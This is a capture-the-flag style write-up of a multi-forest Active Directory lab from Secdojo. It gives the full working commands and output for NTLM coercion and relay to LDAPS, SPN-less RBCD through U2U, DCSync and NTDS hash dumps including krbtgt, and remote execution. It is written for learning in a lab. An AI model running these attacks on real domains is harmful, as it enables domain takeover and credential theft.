Post

AD105: an Advanced AD enterprise forest from secdojo

AD105: an Advanced AD enterprise forest from secdojo
Advanced Secdojo

Overview

This writeup covers a full compromise of the AD105 lab from Secdojo — a multi-forest Active Directory environment spanning three forests (SOKOLO, LONIPO, BORITO). Starting from a single set of domain user credentials, the attack chain covers NTLM relay to LDAP for SPN-less RBCD, cross-forest trust account abuse, CVE-2025-33073 (NTLM reflection), and cross-forest unconstrained delegation abuse to achieve domain admin across all three forests. The writeup also documents a lab environment issue (broken DNS conditional forwarders) and the debugging process to identify and work around it.

Lab Description

As a penetration tester, you’re given initial credentials for a workstation in the SOKOLO.dojo forest. Your objective is to fully compromise the environment. Prerequisites

Use the following credentials to access the lab environment: SOKOLO\SecDojo:Password@2030!#$%

Reconnaissance

Note: This writeup moves quickly through reconnaissance. For a detailed breakdown of the recon methodology, see the Cascade writeup.

Network Stack

The lab has 5 machines and 3 flags: 4 domain controllers and one workstation. There is no OpenVPN file, instead, an Ops Box (a Kali machine) is provided with access to the lab network. The workstation had connectivity issues and couldn’t reach the DCs. Since working directly from the Ops Box was functional, all traffic was tunneled through it via ligolo-ng. The Ops Box couldn’t reach the local Kali machine I use directly, so an SSH reverse tunnel was used:

Pivoting though no need to do so!

The plan is to port-forward the ligolo proxy port through SSH so the Ops Box agent can connect back. An SSH key was set up on the Ops Box for convenience when transferring tools later:

1
proxy -selfcert -laddr 127.0.0.1:11601

and we set up the ssh tunnel :

1
2
└─$ ssh -i root -R 11601:127.0.0.1:11601 -N root@13.53.125.11
Connection to 13.53.125.11 closed by remote host.

and from the Ops Box now we start the agent pointing to 127.0.0.1 :

1
2
3
 ./agent -connect 127.0.0.1:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established                        addr="127.0.0.1:11601"

and we get a hit in our proxy, to continue setting up ligolo just check their documentation to create the tun interface etc, and we add the route :

1
sudo ip route add 176.16.0.0/16 dev ligolo

we also add the following to our /etc/hosts : ( note: these do change in a later part and I’ll past the new ips then )

1
2
3
4
5
176.16.70.168     WS.SOKOLO.dojo WS
176.16.70.164     DC.SOKOLO.dojo SOKOLO.dojo DC
176.16.70.165     DC1.SOKOLO.dojo SOKOLO.dojo DC1
176.16.70.166     DC2.LONIPO.dojo LONIPO.dojo DC2
176.16.70.167     DC3.BORITO.dojo BORITO.dojo DC3

Skipping the nmap scan, only standard Windows ports were open on all hosts. With credentials in hand, let’s validate them:

1
2
3
4
┌──(hitotsu㉿kali)-[~]
└─$ nxc smb 176.16.70.168 -u SecDojo -p 'Password@2030!#$%'
SMB         176.16.70.168   445    WS               [*] Windows Server 2022 Build 20348 x64 (name:WS) (domain:SOKOLO.dojo) (signing:False) (SMBv1:False)
SMB         176.16.70.168   445    WS               [-] SOKOLO.dojo\SecDojo:Password@2030!#$% STATUS_NO_LOGON_SERVERS

The workstation returns STATUS_NO_LOGON_SERVERS, confirming it can’t reach the DC. Attempting local auth and checking DNS configuration didn’t resolve it. Moving on to test against all hosts:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 176.16.70.168 176.16.70.164 176.16.70.165 176.16.70.166 176.16.70.167 -u SecDojo -p 'Password@2030!#$%'
SMB         176.16.70.166   445    DC2              [*] Windows Server 2022 Build 20348 x64 (name:DC2) (domain:LONIPO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.167   445    DC3              [*] Windows Server 2022 Build 20348 x64 (name:DC3) (domain:BORITO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.168   445    WS               [*] Windows Server 2022 Build 20348 x64 (name:WS) (domain:SOKOLO.dojo) (signing:False) (SMBv1:None)
SMB         176.16.70.164   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.165   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.166   445    DC2              [-] LONIPO.dojo\SecDojo:Password@2030!#$% STATUS_LOGON_FAILURE
SMB         176.16.70.167   445    DC3              [-] BORITO.dojo\SecDojo:Password@2030!#$% STATUS_LOGON_FAILURE
SMB         176.16.70.168   445    WS               [-] SOKOLO.dojo\SecDojo:Password@2030!#$% STATUS_NO_LOGON_SERVERS
SMB         176.16.70.164   445    DC               [+] SOKOLO.dojo\SecDojo:Password@2030!#$%
SMB         176.16.70.165   445    DC1              [+] SOKOLO.dojo\SecDojo:Password@2030!#$%
Running nxc against 5 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

okay, this user can authenticate to both DC and DC1.

let’s run rusthound-ce on both DCs:

1
rusthound-ce -d SOKOLO.dojo -u SecDojo -p 'Password@2030!#$%' -i 176.16.70.164 -f DC.SOKOLO.dojo -c All -z

and for DC1 :

1
rusthound-ce -d SOKOLO.dojo -u SecDojo -p 'Password@2030!#$%' -i 176.16.70.165 -f DC1.SOKOLO.dojo -c All -z

we let rusthound-ce run in the background and enumerate further, verifying RBCD on the DCs as a sanity check since I heard there was RBCD but for me there was no RBCD back then and bow too :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
ldapsearch -H ldap://176.16.70.164 -x -D 'SecDojo@SOKOLO.dojo' -w 'Password@2030!#$%' -b 'DC=SOKOLO,DC=dojo' '(sAMAccountName=DC1$)' msDS-AllowedToActOnBehalfOfOtherIdentity
# extended LDIF
#
# LDAPv3
# base <DC=SOKOLO,DC=dojo> with scope subtree
# filter: (sAMAccountName=DC1$)
# requesting: msDS-AllowedToActOnBehalfOfOtherIdentity
#

# DC1, Domain Controllers, SOKOLO.dojo
dn: CN=DC1,OU=Domain Controllers,DC=SOKOLO,DC=dojo

# search reference
ref: ldap://ForestDnsZones.SOKOLO.dojo/DC=ForestDnsZones,DC=SOKOLO,DC=dojo

# search reference
ref: ldap://DomainDnsZones.SOKOLO.dojo/DC=DomainDnsZones,DC=SOKOLO,DC=dojo

# search reference
ref: ldap://SOKOLO.dojo/CN=Configuration,DC=SOKOLO,DC=dojo

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3

┌──(kali㉿kali)-[/tmp/a/AD105]
└─$ ldapsearch -H ldap://176.16.70.164 -x -D 'SecDojo@SOKOLO.dojo' -w 'Password@2030!#$%' -b 'DC=SOKOLO,DC=dojo' '(sAMAccountName=DC$)' msDS-AllowedToActOnBehalfOfOtherIdentity

# extended LDIF
#
# LDAPv3
# base <DC=SOKOLO,DC=dojo> with scope subtree
# filter: (sAMAccountName=DC$)
# requesting: msDS-AllowedToActOnBehalfOfOtherIdentity
#

# DC, Domain Controllers, SOKOLO.dojo
dn: CN=DC,OU=Domain Controllers,DC=SOKOLO,DC=dojo

# search reference
ref: ldap://ForestDnsZones.SOKOLO.dojo/DC=ForestDnsZones,DC=SOKOLO,DC=dojo

# search reference
ref: ldap://DomainDnsZones.SOKOLO.dojo/DC=DomainDnsZones,DC=SOKOLO,DC=dojo

# search reference
ref: ldap://SOKOLO.dojo/CN=Configuration,DC=SOKOLO,DC=dojo

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3

┌──(kali㉿kali)-[/tmp/a/AD105]
└─$ impacket-rbcd SOKOLO.dojo/SecDojo:'Password@2030!#$%' -dc-ip 176.16.70.164 -action read -delegate-to 'DC1$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

┌──(kali㉿kali)-[/tmp/a/AD105]
└─$ impacket-rbcd SOKOLO.dojo/SecDojo:'Password@2030!#$%' -dc-ip 176.16.70.164 -action read -delegate-to 'DC$'

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

confirmed, no RBCD configured on either DCs. msDS-AllowedToActOnBehalfOfOtherIdentity is domain-wide and replicated. DC (.164) is authoritative for SOKOLO.dojo, and both DC$ and DC1$ came back clean. Verified against .165 as well returns the same result.

with no other leads, checking LDAP signing, the banner shows signing is set to None and channel binding to Never.

1
2
3
4
5
6
7
┌──(kali㉿kali)-[/tmp/a/AD105]
└─$ nxc ldap 176.16.70.164 176.16.70.165 -u SecDojo -p 'Password@2030!#$%'
LDAP        176.16.70.165   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:SOKOLO.dojo) (signing:None) (channel binding:Never)
LDAP        176.16.70.165   389    DC1              [+] SOKOLO.dojo\SecDojo:Password@2030!#$%
LDAP        176.16.70.164   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:SOKOLO.dojo) (signing:None) (channel binding:Never)
LDAP        176.16.70.164   389    DC               [+] SOKOLO.dojo\SecDojo:Password@2030!#$%
Running nxc against 2 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

this opens the door for relay attacks. for more on this topic: The Hacker Recipes — NTLM Relay

ntlm is an authentication protocol that works in kinda handshake way, using 3 messages first the NEGOTIATE_MESSAGE, that’s the client indicating that it wants to authenticate to the server and specifying its supported/requested NTLM options, next is the CHALLENGE_MESSAGE, the response sent by the server to the client to state the NTLM options it can support and challenge the client to prove its identity, and finally the AUTHENTICATE_MESSAGE, which is the client’s answer to the server to prove its possession of the shared secret key. and so Message signing provides message integrity, when session signing is negotiated, the client and server negotiate a session key to sign all messages exchanged. The session key is generated using a combination of the client’s and server’s challenge messages and the user’s password hash. Once the session key is established, all messages between the client and server are signed using a MAC . The MAC is generated by applying a cryptographic algorithm to the message and the session key. The server can verify the MAC by using the same algorithm as the message and the session key and comparing the result to the MAC provided by the client. Although an adversary might be eavesdropping, they don’t possess the user’s password hash since it is never transmitted over the wire, and therefore cannot sign messages. here channel binding ( or CBT : channel binding token ) is set to never which mean EPA is not enabled (Extended Protection for Authentication), The CBT binds the authentication to the specific channel characteristics, such as the IP address and port, preventing the authentication from replaying on a different channel.

The relay attack concept is straightforward: act as a legitimate server to the authenticating client, and simultaneously act as a legitimate client to the target server, relaying messages between them until an authenticated session is established. Once authenticated, that session is abused to perform actions on behalf of the relayed principal.

a tool that can be used for this is impacket-ntlmrelayx, we can either use it with socks to maintain the session, open an ldap shell we can connect to with nc, or just pass in a command we want to execute in the context of what we’re pretending to be, since from before there was only one user in these domains just SecDojo, using responder and poisoning the traffic won’t lead to anything, instead we can just wait for a victim to connect to us or coerce it to authenticate to us, but we’ll be running in the conext of what we coerced, that would only be a DC$ or DC1$, a machine account, they won’t have much privileges, but one thing they have by default is control over their attributes, thus in their context we can write rbcd on them for a machine account we control and we’ll be able to impersonate privileged users, the classic RBCD ( resource based constrained delegation ) senario. for that we need a machine account, but we don’t have one and the workstation machine is just dead. luckily any domain user can add machine accounts to the domain, I checked the machine quota for both DCS, and it was 10. but trying to add a machine account resulted on this :

1
2
3
4
impacket-addcomputer SOKOLO.dojo/SecDojo:'Password@2030!#$%' -computer-name 'C4T$' -computer-pass 'Plur1bu5@12345!' -dc-ip 176.16.70.164
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] SAMR SessionError: code: 0xc00002a7 - STATUS_DS_NO_RIDS_ALLOCATED - The directory service was unable to allocate a relative identifier.

and :

1
2
3
4
impacket-addcomputer SOKOLO.dojo/SecDojo:'Password@2030!#$%' -computer-name 'C4T$' -computer-pass 'Plur1bu5@12345!' -dc-ip 176.16.70.165
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] SAMR SessionError: code: 0xc00002a7 - STATUS_DS_NO_RIDS_ALLOCATED - The directory service was unable to allocate a relative identifier.

both give the same error. According to Microsoft, STATUS_DS_NO_RIDS_ALLOCATED means the DC was unable to allocate a relative identifier, likely the RID pool is exhausted or the DC can’t contact the FSMO RID Master. This isn’t something that can be fixed without DA on SOKOLO.

for our RBCD, there is no machine account available, but we control SecDojo. RBCD can be configured with user accounts too, for a time it was thought that a user had to have an SPN for this to be abused, but there is a way to do this even with an SPN-less user such as SecDojo (confirmed via BloodHound).

more reading on this specific scenario and why it works here

Exploitation

now that we know what to do, we start ntlmrelayx in a terminal and coerce from the other side to write rbcd on dc1 for SecDojo :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
impacket-ntlmrelayx -t ldaps://176.16.70.248 --delegate-access --escalate-user SecDojo -smb2support --remove-mic --no-dump --no-da --no-acl
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections

ntlmrelayx keeps hanging on enumerating user privileges, which isn’t needed here. --no-acl, --no-da, and --no-dump are specified to focus only on writing the delegation. From another terminal, coerce DC1:

1
2
3
4
5
6
7
8
9
10
11
12
13
kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.249 -u SecDojo -p 'Password@2030!#$%' -M coerce_plus -o LISTENER=176.16.70.247
SMB         176.16.70.249   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.249   445    DC1              [+] SOKOLO.dojo\SecDojo:Password@2030!#$%
COERCE_PLUS 176.16.70.249   445    DC1              VULNERABLE, DFSCoerce
COERCE_PLUS 176.16.70.249   445    DC1              Exploit Success, netdfs\NetrDfsRemoveRootTarget
COERCE_PLUS 176.16.70.249   445    DC1              Exploit Success, netdfs\NetrDfsAddStdRoot
COERCE_PLUS 176.16.70.249   445    DC1              Exploit Success, netdfs\NetrDfsRemoveStdRoot
COERCE_PLUS 176.16.70.249   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 176.16.70.249   445    DC1              Exploit Success, efsrpc\EfsRpcAddUsersToFile
COERCE_PLUS 176.16.70.249   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 176.16.70.249   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 176.16.70.249   445    DC1              VULNERABLE, MSEven

ntlmrelayx was running from the Ops Box (IP 176.16.70.247) to avoid dealing with the networking complexity from the local Kali machine. If something works, use it.

and back to the previous terminal :

1
2
3
4
5
6
7
8
9
10
11
12
13
< SNIP >
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 176.16.70.249, attacking target ldaps://176.16.70.248
[*] (SMB): Authenticating connection from SOKOLO/DC1$@176.16.70.249 against ldaps://176.16.70.248 SUCCEED [1]
[*] ldaps://SOKOLO/DC1$@176.16.70.248 [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] All targets processed!
[*] (SMB): Connection from 176.16.70.249 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 176.16.70.249 controlled, but there are no more targets left!
[*] ldaps://SOKOLO/DC1$@176.16.70.248 [1] -> Delegation rights modified succesfully!
[*] ldaps://SOKOLO/DC1$@176.16.70.248 [1] -> SecDojo can now impersonate users on DC1$ via S4U2Proxy
[*] All targets processed!
[*] (SMB): Connection from 176.16.70.249 controlled, but there are no more targets left!

and this worked! SecDojo can now impersonate users on DC1$, we can verify this :

1
2
3
4
5
6
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-rbcd 'SOKOLO.dojo/SecDojo:Password@2030!#$%' -dc-ip 176.16.70.248 -action read -delegate-to 'DC1$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Accounts allowed to act on behalf of other identity:
[*]     SecDojo      (S-1-5-21-3530961521-2097731028-1174174591-1104)

the moment!

now the tricky part, how do we use this SPN-less user to impersonate administrator on DC1$. the normal S4U2Proxy flow requires the impersonated user’s TGS-REQ to be encrypted with the service’s RC4 or AES key (derived from its password). for a machine account or a user with an SPN, that’s straightforward. for an SPN-less user like SecDojo, there’s no service key the KDC recognizes, so we can’t do it directly. the trick is to use U2U (User-to-User authentication): instead of encrypting with the account’s RC4/AES key, U2U encrypts with the TGT session key, which is a temporary key generated fresh at TGT issuance time. so the plan is: get a TGT for SecDojo, extract its session key, then make SecDojo’s RC4 key equal to that session key by changing the password hash => this way when getST does S4U2self+U2U, the KDC can verify the request because the session key and the account’s RC4 key now match. we first need the NTLM/RC4 hash of SecDojo to request the TGT, we already know its password and one way to get the hash is using pypykatz :

1
2
3
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ pypykatz crypto nt 'Password@2030!#$%'
7248c520cffe0b133c89b1ad42699224

now that we have the rc4, we’ll request a tgt for this user with it :

1
2
3
4
5
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-getTGT SOKOLO.dojo/SecDojo -hashes :7248c520cffe0b133c89b1ad42699224 -dc-ip 176.16.70.248
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in SecDojo.ccache

so far all good, a sanity check to check the ticket, and to also get the session key which is what we’ll set as SecDojo’s new password hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-describeTicket SecDojo.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 9e4fd90bf3a0d1060e17cee424fcb2e5
[*] User Name                     : SecDojo
[*] User Realm                    : SOKOLO.DOJO
[*] Service Name                  : krbtgt/SOKOLO.DOJO
[*] Service Realm                 : SOKOLO.DOJO
[*] Start Time                    : 03/04/2026 00:20:52 AM
[*] End Time                      : 03/04/2026 10:20:52 AM
[*] RenewTill                     : 04/04/2026 00:20:50 AM
[*] Flags                         : (0x50e10000) forwardable, proxiable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType                       : rc4_hmac
[*] Base64(key)                   : nk/ZC/Og0QYOF87kJPyy5Q==
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/SOKOLO.DOJO
[*]   Service Realm               : SOKOLO.DOJO
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied

and now comes the trick, we change SecDojo’s password hash to the session key (9e4fd90bf3a0d1060e17cee424fcb2e5). this makes the account’s RC4 key equal to the TGT session key, which is what U2U needs to work. the TGT we already have remains valid since it was issued before the password change:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-changepasswd SOKOLO.dojo/SecDojo:'Password@2030!#$%'@176.16.70.248 -newhashes :9e4fd90bf3a0d1060e17cee424fcb2e5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Changing the password of SOKOLO.dojo\SecDojo
[*] Connecting to DCE/RPC as SOKOLO.dojo\SecDojo
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).

and finally let’s export the ticket we requested before and request a TGS impersonating administrator. -u2u tells getST to use User-to-User authentication (encrypting with the session key instead of a long-term service key), which is what makes this work for an SPN-less user:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ export KRB5CCNAME=SecDojo.ccache

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-getST -u2u -impersonate Administrator -spn cifs/DC1.SOKOLO.dojo -k -no-pass SOKOLO.dojo/SecDojo -dc-ip 176.16.70.248
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC1.SOKOLO.dojo@SOKOLO.DOJO.ccache

now that we’ve got a ticket for administrator let’s use it by exporting it first then dcsync :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ export KRB5CCNAME=Administrator@cifs_DC1.SOKOLO.dojo@SOKOLO.DOJO.ccache

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-secretsdump -k -no-pass DC1.SOKOLO.dojo -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:16d820458aa055ba61e779d36c26efb1:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:dbc016c983708aa0eaacb4971b075ec06f10e57536ec99a75183fc5530a45f69
Administrator:aes128-cts-hmac-sha1-96:9ec36468ff59eb663f68a6d88714a132
Administrator:des-cbc-md5:6e57581fcb0d7f2c
[*] Cleaning up...

the moment!

I didn’t cover RBCD in depth here, it was broken down in a previous post in this blog. The short version: RBCD was written on DC1$ for SecDojo via the relay, and now SecDojo can impersonate any user on DC1$ via S4U2Proxy.

Note: The RBCD claim just doesn’t hold up, no RBCD was pre-configured on DC1$ for WS$. The data is domain-wide and replicated, queried from an authoritative source, I even verified again with DA privileges on SOKOLO.

this hash works for both DC and DC1 :

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.248 -u administrator -H 16d820458aa055ba61e779d36c26efb1
SMB         176.16.70.248   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.248   445    DC               [+] SOKOLO.dojo\administrator:16d820458aa055ba61e779d36c26efb1 (Pwn3d!)

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.249 -u administrator -H 16d820458aa055ba61e779d36c26efb1
SMB         176.16.70.249   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.249   445    DC1              [+] SOKOLO.dojo\administrator:16d820458aa055ba61e779d36c26efb1 (Pwn3d!)

let’s get the flag and dcsync everything from DC$ and DC1$:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.248 -u administrator -H 16d820458aa055ba61e779d36c26efb1 -x 'type C:\Users\Administrator\Desktop\proof.txt'
SMB         176.16.70.248   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.248   445    DC               [+] SOKOLO.dojo\administrator:16d820458aa055ba61e779d36c26efb1 (Pwn3d!)
SMB         176.16.70.248   445    DC               [+] Executed command via wmiexec
SMB         176.16.70.248   445    DC               flag_e9d038e0_3abf_4c91_a70c_6dee958a9170

and dcsync for both DC and DC1 (not strictly necessary at this point, but useful for completeness):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nxc smb 176.16.70.249 -u administrator -H 16d820458aa055ba61e779d36c26efb1 --ntds
SMB         176.16.70.249   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.249   445    DC1              [+] SOKOLO.dojo\administrator:16d820458aa055ba61e779d36c26efb1 (Pwn3d!)
SMB         176.16.70.249   445    DC1              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         176.16.70.249   445    DC1              Administrator:500:aad3b435b51404eeaad3b435b51404ee:16d820458aa055ba61e779d36c26efb1:::
SMB         176.16.70.249   445    DC1              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         176.16.70.249   445    DC1              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:45b2cfcf80d39b29d3772913dfbbf9cb:::
SMB         176.16.70.249   445    DC1              SecDojo:1104:aad3b435b51404eeaad3b435b51404ee:7248c520cffe0b133c89b1ad42699224:::
SMB         176.16.70.249   445    DC1              DC$:1000:aad3b435b51404eeaad3b435b51404ee:425fa88cdca2196bdae24a4ab682d49c:::
SMB         176.16.70.249   445    DC1              DC1$:1103:aad3b435b51404eeaad3b435b51404ee:d0f886b82fb3717c33ea2461c26df0fe:::
SMB         176.16.70.249   445    DC1              WS$:1601:aad3b435b51404eeaad3b435b51404ee:f746a11ed8387495c3126e95de95850f:::
SMB         176.16.70.249   445    DC1              [+] Dumped 7 NTDS hashes to /home/kali/.nxc/logs/ntds/DC1_176.16.70.249_2026-04-03_004044.ntds of which 4 were added to the database
SMB         176.16.70.249   445    DC1              [*] To extract only enabled accounts from the output file, run the following command:
SMB         176.16.70.249   445    DC1              [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC1_176.16.70.249_2026-04-03_004044.ntds | cut -d ':' -f1

and :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nxc smb 176.16.70.248 -u administrator -H 16d820458aa055ba61e779d36c26efb1 --ntds
SMB         176.16.70.248   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:SOKOLO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.248   445    DC               [+] SOKOLO.dojo\administrator:16d820458aa055ba61e779d36c26efb1 (Pwn3d!)
SMB         176.16.70.248   445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         176.16.70.248   445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:16d820458aa055ba61e779d36c26efb1:::
SMB         176.16.70.248   445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         176.16.70.248   445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:45b2cfcf80d39b29d3772913dfbbf9cb:::
SMB         176.16.70.248   445    DC               SecDojo:1104:aad3b435b51404eeaad3b435b51404ee:9e4fd90bf3a0d1060e17cee424fcb2e5:::
SMB         176.16.70.248   445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:425fa88cdca2196bdae24a4ab682d49c:::
SMB         176.16.70.248   445    DC               DC1$:1103:aad3b435b51404eeaad3b435b51404ee:d0f886b82fb3717c33ea2461c26df0fe:::
SMB         176.16.70.248   445    DC               WS$:1601:aad3b435b51404eeaad3b435b51404ee:f746a11ed8387495c3126e95de95850f:::
SMB         176.16.70.248   445    DC               [+] Dumped 7 NTDS hashes to /home/kali/.nxc/logs/ntds/DC_176.16.70.248_2026-04-03_004155.ntds of which 4 were added to the database
SMB         176.16.70.248   445    DC               [*] To extract only enabled accounts from the output file, run the following command:
SMB         176.16.70.248   445    DC               [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC_176.16.70.248_2026-04-03_004155.ntds | cut -d ':' -f1

Privilege Escalation — Compromising LONIPO

one thing to note here is that no trust accounts appear in the NTDS dump, so they’ll need to be retrieved manually from the systems. First, let’s use trustfull with the current privileges, trustfull is a tool I created, it’s focused on AD trust exploitation. A notable module is badChild, which escalates from a child domain to a parent domain and supports Windows Server 2022+, it does so using 2 techniques and simply the best I’m aware of as of now and beats impacket-raiseChild. Check it out at TrustFull

the moment!

there is an outbound forest trust from SOKOLO to LONIPO meaning SOKOLO trusts LONIPO, so LONIPO users can authenticate to SOKOLO resources but not the other way around. In the classical sense, having DA on SOKOLO won’t help enumerate or attack LONIPO. However, after the “Not a Security Boundary” research, there is a path to gain a foothold on LONIPO from SOKOLO. BloodHound confirms the trust:

the moment!

checking the SMB banner for DC2 without credentials yet:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.250
SMB         176.16.70.250   445    DC2              [*] Windows Server 2022 Build 20348 x64 (name:DC2) (domain:LONIPO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc ldap 176.16.70.250
LDAP        176.16.70.250   389    DC2              [*] Windows Server 2022 Build 20348 (name:DC2) (domain:LONIPO.dojo) (signing:None) (channel binding:No TLS cert)

the outbound trust from SOKOLO to LONIPO means LONIPO users can authenticate to SOKOLO resources. This raises the probability that the next compromise path involves coercing a LONIPO machine to authenticate to a listener, since LONIPO principals can reach SOKOLO via trust, any coercion from LONIPO would land in SOKOLO’s context. Having a foothold on LONIPO from SOKOLO (covered next) opens additional paths as well.

LDAP signing is set to None and channel binding to No TLS cert , different from the SOKOLO case where it was Never. This indicates plain LDAP should be used rather than LDAPS. This alone doesn’t guarantee a relay will succeed, but combined with the security posture it’s worth checking for relevant CVEs against this Windows build, or using a tool that automates the assessment.

